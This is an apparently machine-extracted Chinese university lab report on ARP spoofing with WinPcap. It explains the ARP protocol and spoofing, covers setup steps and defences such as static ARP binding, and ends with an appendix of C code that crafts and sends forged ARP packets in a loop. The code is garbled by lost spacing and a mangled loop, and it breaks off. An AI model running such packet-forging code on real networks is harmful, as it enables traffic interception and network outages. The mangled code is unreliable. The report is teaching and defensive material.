Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx

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Windows网络编程实验六基于WinPcap的ARP欺骗实验

网络程序设计

实验报告

实验名称：

基于WinPcap的ARP欺骗实验_

实验类型：

_______设计型实验______

指导教师：

_______

专业班级：

____________________

姓名：

___________________

学号：

____________________

电子邮件：

____________

实验地点：

___________________

实验日期：

  年 月日

实验成绩：

__________________________

一、实验目的

掌握WinPcaP的安装和配置；

掌握ARP协议工作原理和格式；

掌握WinPcap发包程序的编写；

掌握防范ARP地址欺骗的方法和措施；

了解常用抓包软件，Wireshark、Sniffer Pro等网络包分析软件的使用

二、实验设计

1.背景知识

ARP原理 

ARP协议：

ARP，全称Address Resolution Protocol，中文名为地址解析协议，它工作在数据链路层，在本层和硬件接口联系，同时对上层提供服务。

IP数据包常通过以太网发送，以太网设备并不识别32位IP地址，它们是以48位以太网地址传输以太网数据包。

因此，必须把IP目的地址转换成以太网目的地址。

这个过程称为地址解析，用于将IP地址解析成硬件地址的协议就被称为地址解析协议（ARP协议）。

即ARP协议用于将网络中的IP地址解析为的硬件地址（MAC地址），以保证通信的顺利进行，这个过程是动态、自动完成且对用户是透明的。

（1）．ARP报头结构 

ARP报头结构，如上图所示。

硬件类型字段：

指明了发送方想知道的硬件接口类型，以太网的值为1； 协议类型字段：

指明了发送方提供的高层协议类型，IP为0800（16进制）； 硬件地址长度和协议长度：

指明了硬件地址和高层协议地址的长度，这样ARP报文就可以在任意硬件和任意协议的网络中使用； 

操作字段：

用来表示这个报文的类型，ARP请求为1，ARP响应为2，RARP请求为3，RARP响应为4； 

发送方的硬件地址（0-3字节）：

源主机硬件地址的前3个字节； 

发送方的硬件地址（4-5字节）：

源主机硬件地址的后3个字节；发送方IP（0-1字节）：

源主机硬件地址的前2个字节；发送方IP（2-3字节）：

源主机硬件地址的后2个字节；目的硬件地址（0-1字节）：

目的主机硬件地址的前2个字节；目的硬件地址（2-5字节）：

目的主机硬件地址的后4个字节；目的IP（0-3字节）：

目的主机的IP地址。

（2）.ARP工作原理ARP的工作原理如下：

①.首先，每台主机都会在自己的ARP缓冲区（ARPCache）中建立一个ARP列表，以表示IP地址和MAC地址的对应关系。

②当源主机需要将一个数据包要发送到目的主机时，会首先检查自己ARP列表中是否存在该IP地址对应的MAC地址，如果有﹐就直接将数据包发送到这个MAC地址；如果没有，就向本地网段发起一个ARP请求的广播包，查询此目的主机对应的MAC地址。

此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。

③网络中所有的主机收到这个ARP请求后，会检查数据包中的目的IP是否和自己的IP地址一致。

如果不相同就忽略此数据包；如果相同，该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中，如果ARP表中已经存在该IP的信息，则将其覆盖，然后给源主机发送一个ARP响应数据包，告诉对方自己是它需要查找的MAC地址；

④源主机收到这个ARP响应数据包后，将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中，并利用此信息开始数据的传输。

如果源主机一直没有收到ARP响应数据包，表示ARP查询失败。

（3）．ARP地址欺骗的原理ARP欺骗分两种，一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。

第一种ARP欺骗的原理是－截获网关数据。

它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断的更新学习进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送错误的MAC地址，造成正常的PC无法收到信息。

第二种ARP欺骗原理是－通过交换机的MAC地址学习机制，伪造网关。

它的原理是建立假的网关，让被它欺骗的PC向假网关发送数据，而不是通过正常的路由器或交换途径寻找网关，造成在同一网关的所有PC无法访问网络。

2.实验内容

1、下载并安装最新的WinPcap安装程序，在开发环境中进行正确配置。

2、根据ARP欺骗原理，设计网管欺骗程序的编写流程，编写代码实现对内网PC的进行欺骗。

3、（选做）实现ARP双向欺骗。

3.实验步骤

（1） 安装配置构造网络数据包环境 

WinPcap的安装

   Winpcap为win32应用成程序提供访问网络底层的能力，在使用基于winpcap的抓包工具是需要先安装Winpcap（wireshark会自带安装最新版本），下载

winpcap_4_0_2.exe安装，另外，若需要设计相应的开发，可以下载相应的wpdpcak开发包文件。

并在VC++中添加好相应INCLUDE和LIB。

具体步骤是：

       选择工具——>选项——>目录下的INCLUDE FILES和LIBRARY FILES中添加:

安装Libnet

首先将下载的Libnet开发包解压缩，生成一个文件夹Libnet_1.1.2.1 ，把所有文件拷到一个盘符下，在LIBNET下的文件夹win32，双击文件libnet.dsw导入到visual C++ 工作空间。

此时可以对Libnet进行编译，但在libnet 用到wincrypt API函数，所以必须加上库中文件advapi32.lib。

具体步骤是：

          选择：

工程——>设置——>连接：

在对象/苦模块中加入（wsock32.lib是windows中需要掉要其他网络函数所必须加入的）

安装PSDK

 在官网上下载PSDK相关的文件，应该有十七个，其中包括16个PSDK-FULL.CAB文件和一个EXE文件,在执行EXE后会生成一个PSDK-FULL.BAT和一个EXTRACT.EXE文件，此时需要到命令行中执行PSDK-FULL.BAT，便可以一次性将16个CAB解压（如果是自己手动解压，注意要将所有的解压文件放入同一个文件夹下，同时要注意解压的层次。

否则会报错）

（2）  构造ARP应答欺骗包源程序 

三、实验过程（包含实验结果）

1.安装配置构造网络数据包环境 。

2.  构造ARP应答欺骗包源程序 

3..调制好程序实现ARP欺骗。

四、讨论与分析

如何防止ARP欺骗？

清空ARP缓存：

大家可能都曾经有过使用ARP的指令法解决过ARP欺骗问题，该方法是针对ARP欺骗原理进行解决的。

一般来说ARP欺骗都是通过发送虚假的MAC地址与IP地址的对应ARP数据包来迷惑网络设备，用虚假的或错误的MAC地址与IP地址对应关系取代正确的对应关系。

若是一些初级的ARP欺骗，可以通过ARP的指令来清空本机的ARP缓存对应关系，让网络设备从网络中重新获得正确的对应关系，具体解决过程如下：

第一步：

通过点击桌面上任务栏的“开始”->“运行”，然后输入cmd后回车，进入cmd（黑色背景）命令行模式；第二步：

在命令行模式下输入arp-a命令来查看当前本机储存在本地系统ARP缓存中IP和MAC对应关系的信息；第三步：

使用arp-d命令，将储存在本机系统中的ARP缓存信息清空，这样错误的ARP缓存信息就被删除了，本机将重新从网络中获得正确的ARP信息，达到局域网机器间互访和正常上网的目的。

如果是遇到使用ARP欺骗工具来进行攻击的情况，使用上述的方法完全可以解决。

但如果是感染ARP欺骗病毒，病毒每隔一段时间自动发送ARP欺骗数据包，这时使用清空ARP缓存的方法将无能为力了。

下面将接收另外一种，可以解决感染ARP欺骗病毒的方法。

2、指定ARP对应关系：

其实该方法就是强制指定ARP对应关系。

由于绝大部分ARP欺骗病毒都是针对网关MAC地址进行攻击的，使本机上ARP缓存中存储的网关设备的信息出现紊乱，这样当机器要上网发送数据包给网关时就会因为地址错误而失败，造成计算机无法上网。

第一步：

我们假设网关地址的MAC信息为00-14-78-a7-77-5c，对应的IP地址为192.168.2.1。

指定ARP对应关系就是指这些地址。

在感染了病毒的机器上，点击桌面->任务栏的“开始”->“运行”，输入cmd后回车，进入cmd命令行模式；第二步：

使用arp-s命令来添加一条ARP地址对应关系，例如arp-s192.168.2.100-14-78-a7-77-5c命令。

这样就将网关地址的IP与正确的MAC地址绑定好了，本机网络连接将恢复正常了；第三步：

因为每次重新启动计算机的时候，ARP缓存信息都会被全部清除。

所以我们应该把这个ARP静态地址添加指令写到一个批处理文件（例如：

bat）中，然后将这个文件放到系统的启动项中。

当程序随系统的启动而加载的话，就可以免除因为ARP静态映射信息丢失的困扰了。

五、实验者自评（从实验设计、实验过程、对实验知识点的理解上给出客观公正的自我评价）

通过这次实验，我了解了ARP欺骗的原理，掌握了ARP的安装以及环境配置。

学会了通过调用不同的动态链接和函数实现伪造不同的协议包，达到网络入侵的目的，同时在网络安全方面也有了更多的认识，懂得如何使用静态MAC映射，软件防御相应的ARP攻击。

同时。

通过自己的设想变成实现了对APR映射表的保护。

六、附录：

关键代码（给出适当注释，可读性高）

#define_W64

#defineHAVE_REMOTE

#include"pcap.h"

#defineETHERTYPE_IP0x0800

#defineETHERTYPE_ARP0x0806

typedefstruct_ETHeader//14字节的以太头

{

UCHARdhost[6];//目的MAC地址destinationmacaddress

UCHARshost[6];//源MAC地址sourcemacaddress

USHORTtype;//下层协议类型，如IP（ETHERTYPE_IP）、ARP（ETHERTYPE_ARP）等

}ETHeader,*PETHeader;

#defineARPHRD_ETHER1

//ARP协议opcodes

#defineARPOP_REQUEST1//ARP请求

#defineARPOP_REPLY2//ARP响应

typedefstruct_ARPHeader//28字节的ARP头

{

USHORThrd;//硬件地址空间，以太网中为ARPHRD_ETHER

USHORTeth_type;//以太网类型，ETHERTYPE_IP？

？

UCHARmaclen;//MAC地址的长度，为6

UCHARiplen;//IP地址的长度，为4

USHORTopcode;//操作代码，ARPOP_REQUEST为请求，ARPOP_REPLY为响应

UCHARsmac[6];//源MAC地址

UCHARsaddr[4];//源IP地址

UCHARdmac[6];//目的MAC地址

UCHARdaddr[4];//目的IP地址

}ARPHeader,*PARPHeader;

/*4bytesIPaddress*/

typedefstructip_address{

u_charbyte1;

u_charbyte2;

u_charbyte3;

u_charbyte4;

}ip_address;

/*IPv4header*/

typedefstructip_header{

u_charver_ihl;//Version（4bits）+Internetheaderlength（4bits）

u_chartos;//Typeofservice

u_shorttlen;//Totallength

u_shortidentification;//Identification

u_shortflags_fo;//Flags（3bits）+Fragmentoffset（13bits）

u_charttl;//Timetolive

u_charproto;//Protocol

u_shortcrc;//Headerchecksum

ip_addresssaddr;//Sourceaddress

ip_addressdaddr;//Destinationaddress

u_intop_pad;//Option+Padding

}ip_header;

/*UDPheader*/

typedefstructudp_header{

u_shortsport;//Sourceport

u_shortdport;//Destinationport

u_shortlen;//Datagramlength

u_shortcrc;//Checksum

}udp_header;

/*prototypeofthepackethandler*/

voidpacket_handler（u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data）;//回调函数

intmain（）

{

pcap_if_t*alldevs;//获取到的设备列表

pcap_if_t*d;//指向的一个网络设备

intinum;//保存用户选择的用于捕获数据的网络适配器编号

inti=0;

pcap_t*adhandle;//用于捕获数据的Winpcap会话句柄

charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区

u_intnetmask;

charpacket_filter[]="arp";

structbpf_programfcode;//bpf过滤代码结构

//Retrievethedevicelist获得设备列表

if（pcap_findalldevs_ex（PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf）==-1）//pcap_findalldevs_ex获得本地计算机上所有的网络设备列表设备列表

{

fprintf（stderr,"Errorinpcap_findalldevs:

%s\n",errbuf）;//fprintf（）打印每个网络设备的信息

exit

（1）;

}

/*Printthelist*/

for（d=alldevs;d;d=d->next）

{

printf（"%d.%s",++i,d->name）;

if（d->description）

printf（"（%s）\n",d->description）;

else

printf（"（Nodescriptionavailable）\n"）;

}

if（i==0）

{

printf（"\nNointerfacesfound!

MakesureWinPcapisinstalled.\n"）;

return-1;

}

printf（"Entertheinterfacenumber（1-%d）:

",i）;

scanf（"%d",&inum）;

if（inum<1||inum>i）

{

printf（"\nInterfacenumberoutofrange.\n"）;

/*Freethedevicelist*/

pcap_freealldevs（alldevs）;//释放网络设备链表

return-1;

}

//跳转到已选设备

for（d=alldevs,i=0;inext,i++）;

/*打开适配器*/

if（（adhandle=pcap_open（d->name,//nameofthedevice设备名

65536,//portionofthepackettocapture.要捕获的数据包的部分

//65536grantsthatthewholepacketwillbecapturedonalltheMACs.65536保证能捕获到不同数据链路层上的每个数据包上的全部内容

PCAP_OPENFLAG_PROMISCUOUS,//promiscuousmode混杂模式

1000,//readtimeout读取超时时间

NULL,//remoteauthentication远程机器验证

errbuf//errorbuffer

））==NULL）

{

fprintf（stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n"）;

/*Freethedevicelist*/

pcap_freealldevs（alldevs）;

return-1;

}

/*Checkthelinklayer.WesupportonlyEthernetforsimplicity.*/

if（pcap_datalink（adhandle）!

=DLT_EN10MB）//pcap_datalink检查数据链路层

{

fprintf（stderr,"\nThisprogramworksonlyonEthernetnetworks.\n"）;

/*Freethedevicelist*/

pcap_freealldevs（alldevs）;

return-1;

}

if（d->addresses!

=NULL）

/*Retrievethemaskofthefirstaddressoftheinterface*/

netmask=（（structsockaddr_in*）（d->addresses->netmask））->sin_addr.S_un.S_addr;

else

/*IftheinterfaceiswithoutaddresseswesupposetobeinaCclassnetwork*/

netmask=0xffffff;

//compilethefilter

if（pcap_compile（adhandle,&fcode,packet_filter,1,netmask）<0）

{

fprintf（stderr,"\nUnabletocompilethepacketfilter.Checkthesyntax.\n"）;

/*Freethedevicelist*/

pcap_freealldevs（alldevs）;

return-1;

}

//setthefilter

if（pcap_setfilter（adhandle,&fcode）<0）

{

fprintf（stderr,"\nErrorsettingthefilter.\n"）;

/*Freethedevicelist*/

pcap_freealldevs（alldevs）;

return-1;

}

printf（"\nlisteningon%s...\n",d->description）;

//发送arp包

u_charucFrame[100];

//设置Ethernet头

u_chararDestMac[6]={0xff,0xff,0xff,0xff,0xff,0xff};

u_chararSourceMac[6]={0x00,0x1F,0x16,0x26,0x33,0xF8};

ETHeadereh={0};

memcpy（eh.dhost,arDestMac,6）;//memcpy内存拷贝函数,从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中

memcpy（eh.shost,arSourceMac,6）;

eh.type=:

:

htons（ETHERTYPE_ARP）;

memcpy（ucFrame,&eh,sizeof（eh））;

//设置Arp头

ARPHeaderah={0};

ah.hrd=htons（ARPHRD_ETHER）;

ah.eth_type=htons（ETHERTYPE_IP）;

ah.maclen=6;

ah.iplen=4;

ah.opcode=htons（ARPOP_REQUEST）;

ULONG32sIPAddr=inet_addr（"192.168.250.188"）;

ULONG32dIPAddr=inet_addr（"192.168.250.1"）;

memcpy（ah.smac,arSourceMac,6）;

memcpy（ah.saddr,&sIPAddr,4）;

memcpy（ah.dmac,arDestMac,6）;

memcpy（ah.daddr,&dIPAddr,4）;

intn=255;

while（n）

{

charstr[100];

sprintf（str,"192.168.4.%d",n）;

dIPAddr=inet_addr（str）;

memcpy（ah.daddr,&dIPAddr,4）;

memcpy（&ucFrame[sizeof（ETHeader）],&ah,sizeof（ah））;

if（pcap_sendpacket（adhandle,ucFrame,42）!

=0）

{

fprintf（stderr,"\nErrorsendingthepacket:

%s\n",pcap_geterr（adhandle））;//pcap_geterr获取错误消息

return3;

}

n=n-1;

}

/*Atthispoint,wedon'tneedanymor